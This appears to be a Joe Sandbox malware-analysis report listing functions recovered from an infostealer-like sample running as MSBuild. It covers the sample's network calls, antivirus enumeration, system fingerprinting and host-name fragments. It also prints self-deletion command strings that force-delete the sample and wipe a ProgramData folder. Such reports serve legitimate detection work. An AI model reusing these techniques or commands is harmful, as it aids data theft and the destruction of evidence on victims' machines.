lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction ID: fa65740cd413e8b43b9f1f3498c9fbd0cc5fbb49866f189318ef85710a93ab9e
Opcode Fuzzy Hash: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction Fuzzy Hash: D4C15D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 00417151 Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,0041869F), ref: 004171ED
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004171FC
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 0041771A
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177DB
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177F4

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,00417854), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417BAA

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,0041869F), ref: 00417210

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 00418110

Strings

.exe, xrefs: 00417F14
cowod., xrefs: 00417F8B
org, xrefs: 00417FF7
.exe, xrefs: 00417659
hopto, xrefs: 00417FAF
af641acce3f8c85bf2490a9b3aa972c5, xrefs: 0041781C
_DEBUG.zip, xrefs: 00418045
http://, xrefs: 00417F67

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$_DEBUG.zip$af641acce3f8c85bf2490a9b3aa972c5$cowod.$hopto$http://$org
API String ID: 305159127-1915720452
Opcode ID: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction ID: 4ceb97e4bc8bd76a369d1d2619bbd46815a38cac9c71142bc76181b4c2ec3f3b
Opcode Fuzzy Hash: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction Fuzzy Hash: AC9244315483419FC620FF26D94268EB7E1FF84308F51482FF58463191DBB8AA8D8B9B

Function 004135A8 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

zA, xrefs: 004139B4
false, xrefs: 004136C5
true, xrefs: 004136A6

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true$zA
API String ID: 2116072422-752889570
Opcode ID: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction ID: f88d8e482521469d959c87b5d2553cfe3082ffd239838e960e1cb591ae3ba6ed
Opcode Fuzzy Hash: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction Fuzzy Hash: 37B16DB5900218ABCF64EF55DC89ACA77B5BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

GET, xrefs: 00405325
lyA, xrefs: 00405250, 00405457, 0040539E

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET$lyA
API String ID: 442264750-528342985
Opcode ID: 93394d2a30f133874182854a60609d119d756d54e14361920abb4e7fdad1e848
Instruction ID: 7cffea58bcaab2b22dbdd47c1de4c71017d1c0f04b9407cf92f8036c36bebf65
Opcode Fuzzy Hash: 93394d2a30f133874182854a60609d119d756d54e14361920abb4e7fdad1e848
Instruction Fuzzy Hash: 685119B1900A28AFDF21DF64DC84BEFBBB9EB08346F0050E6E509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

Select * From AntiVirusProduct, xrefs: 00411A23
root\SecurityCenter2, xrefs: 004119F0
Unknown, xrefs: 00411A99
WQL, xrefs: 00411A28
Unknown, xrefs: 00411AA0
Unknown, xrefs: 00411AB4
displayName, xrefs: 00411A6F

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction ID: a052c58cf411f7e98e6331d271807bd97e667b65bf600afed1fc3e3d3cff73f9
Opcode Fuzzy Hash: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction Fuzzy Hash: 90314F70A04245BBCB20DB91DC49EEFBF7CEFC9B10F20465AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012D0
lstrcatA.KERNEL32(?,0043AAA8), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAAC), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAB0), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401308
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401316
lstrcatA.KERNEL32(?,0043AABC), ref: 00401324
lstrcatA.KERNEL32(?,0043AAC0), ref: 00401332
lstrcatA.KERNEL32(?,0043AAC4), ref: 00401340
lstrcatA.KERNEL32(?,0043AAC8), ref: 0040134E
lstrcatA.KERNEL32(?,0043AACC), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAD0), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAD4), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction ID: 9778931569992fdfa2ae274a5f191432572d6dba79c88691fb85554d5ade8f97
Opcode Fuzzy Hash: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction Fuzzy Hash: 9A41A9B2D4422C57DB20EBB19C59FDB7BAC9F18310F5405A3E8D9E3181D67C9A84CB58

Function 00411203 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
RegCloseKey.ADVAPI32(?), ref: 00411446
RegCloseKey.ADVAPI32(?), ref: 00411466
RegCloseKey.ADVAPI32(?), ref: 00411472

Strings

?, xrefs: 00411263
- , xrefs: 004113E6
%s\%s, xrefs: 004112D7

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction ID: 4bdd8942e51cb3c4ef1bdab2b95b8e79246b76881c5f67d30fe8b157efa9521a
Opcode Fuzzy Hash: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction Fuzzy Hash: 8A61F7B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF35AFC9CF54

Function 00418381 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004183A6
_memset.LIBCMT ref: 004183B5
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 004183CA

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 00418566
_memset.LIBCMT ref: 00418575
_memset.LIBCMT ref: 00418587
ExitProcess.KERNEL32 ref: 00418597

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

" & rd /s /q "C:\ProgramData\, xrefs: 00418443
" & exit, xrefs: 00418499
/c timeout /t 10 & del /f /q ", xrefs: 004183F5
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 004184A0
" & exit, xrefs: 004184EA

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: d422a401582e63c5a8ddf1c1e1ebbc82d46f8f2d7e5a69427eac4bc0c7923cf1
Instruction ID: 42d7332e6cc6663f0099cc2e6ad6024dff952061cbeabe4f84512a7cff8bb842
Opcode Fuzzy Hash: d422a401582e63c5a8ddf1c1e1ebbc82d46f8f2d7e5a69427eac4bc0c7923cf1
Instruction Fuzzy Hash: 4F51ACB1D4022A9BCB21EF55CD41ADDB3BCAB44708F4110EAA718B3151DA786FC68E58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

0xA, xrefs: 00410B21
QuBi, xrefs: 00410A27
:\, xrefs: 00410A06
C, xrefs: 004109DF

Memory Dump Source

